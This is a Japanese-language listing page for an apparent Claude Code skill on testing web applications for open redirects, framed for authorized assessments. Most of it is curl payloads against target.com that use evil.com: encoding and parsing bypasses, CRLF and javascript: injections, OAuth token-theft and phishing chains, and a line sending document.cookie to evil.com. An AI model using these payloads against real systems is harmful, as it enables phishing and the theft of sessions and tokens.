testing-for-open-redirect-vulnerabilities について
ログイン、OAuth、SSO のフローを含む、Web アプリケーションのオープンリダイレクトを評価するセキュリティテストスキルです。認可された評価に向け、パラメーターの特定、回避テスト、脆弱性の連鎖、テスト自動化を案内します。
主な機能
- 01リダイレクトパラメーターの特定
- 02外部リダイレクトペイロードのテスト
- 03URL 検証の回避手法の確認
- 04パスベースのリダイレクト評価
- 05他の脆弱性との連鎖
- 06記載されたツールによるテスト自動化
活用シーン
- 01ログインとログアウトのリダイレクトフローの監査
- 02OAuth redirect_uri の検証評価
- 03SSO のリダイレクト処理のテスト
- 04認可されたフィッシングシミュレーション
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-for-open-redirect-vulnerabilitiesインストール後、Claude Code で/testing-for-open-redirect-vulnerabilitiesを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
オープンリダイレクトの脆弱性のテスト
使用するタイミング
- 指定された URL にユーザーをリダイレクトするログイン/ログアウトフローをテストするとき
- redirect_uri パラメーターを含む OAuth 認可エンドポイントを評価するとき
- URL パラメーター(next、url、redirect、return、goto、target)を含むアプリケーションを監査するとき
- オープンリダイレクトと認証情報の窃取を組み合わせるフィッシングシミュレーションを行うとき
- リダイレクト検証の弱点について SSO 実装をテストするとき
前提条件
- リダイレクトリクエストを傍受するための Burp Suite または OWASP ZAP
- オープンリダイレクトのバイパスペイロード集
- リダイレクトを確認するための外部ドメインまたは Burp Collaborator
- URL の解析とエンコード方式に関する理解
- リダイレクトチェーンを確認するための開発者ツールを備えたブラウザー
- HTTP 301/302/303/307/308 リダイレクトステータスコードに関する知識
法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。
ワークフロー
ステップ 1 — リダイレクトパラメーターを特定する
# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=
# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters
# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"
ステップ 2 — 基本的なオープンリダイレクトのペイロードをテストする
# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"
# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"
# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://[email protected]"
# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"
# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"
ステップ 3 — 検証のバイパス手法を適用する
# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"
# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"
# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"
# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"
# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"
# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"
# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"
ステップ 4 — パスベースのリダイレクトをテストする
# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"
# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"
# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"
# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"
ステップ 5 — 他の脆弱性と組み合わせる
# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"
# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL
# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"
ステップ 6 — オープンリダイレクトのテストを自動化する
# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ
# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt
# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml
# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"
主要な概念
| 概念 | 説明 |
|---|---|
| 未検証のリダイレクト | アプリケーションが、遷移先を確認せずにユーザー指定の URL へリダイレクトします |
| URL 解析の不整合 | ライブラリによって URL の解析方法が異なるため、検証をバイパスできます |
| プロトコル相対 URL | // プレフィックスを使い、現在のプロトコルを引き継いでリダイレクトします |
| ユーザー情報の悪用 | @ 記号を使って、URL が信頼できるドメインに属しているように見せかけます |
| オープンリダイレクトチェーン | 複数のオープンリダイレクトを組み合わせるか、他の脆弱性と連鎖させます |
| DOM ベースのリダイレクト | クライアント側の JavaScript が、攻撃者に制御された入力を使ってリダイレクトします |
| Meta Refresh リダイレクト | サーバー側の 302 を使わず、HTML の meta タグでリダイレクトします |
ツールとシステム
| ツール | 用途 |
|---|---|
| OpenRedireX | オープンリダイレクトの脆弱性を自動でテストするツール |
| Burp Suite | リダイレクトパラメーターの傍受と変更を行う HTTP プロキシ |
| gf (tomnomnom) | URL リストからリダイレクトパラメーターを抽出するパターンマッチャー |
| nuclei | オープンリダイレクト検出テンプレートを備えたテンプレートベースのスキャナー |
| ffuf | リダイレクトパラメーターのペイロードを一括テストするファザー |
| OWASP ZAP | オープンリダイレクト検出機能を備えた自動スキャナー |
よくあるシナリオ
- フィッシングの増幅 — 信頼できるドメインのオープンリダイレクトを使い、ユーザーを狙うフィッシング URL の信頼性を高めます
- OAuth トークンの窃取 — OAuth フローの redirect_uri としてオープンリダイレクトを悪用し、認可コードやアクセストークンを窃取します
- SSO のバイパス — SSO 認証レスポンスを攻撃者が制御するサーバーにリダイレクトし、セッショントークンを取得します
- リダイレクト経由の XSS — オープンリダイレクトを javascript: プロトコルと組み合わせ、クロスサイトスクリプティングを実現します
- Referer からの情報漏えい — 外部サイトへのリダイレクト時に Referer ヘッダーで機密トークンが漏えいするよう、オープンリダイレクトを利用します
出力形式
## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse
### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://[email protected] | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |
### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters
コメント
Markdown 対応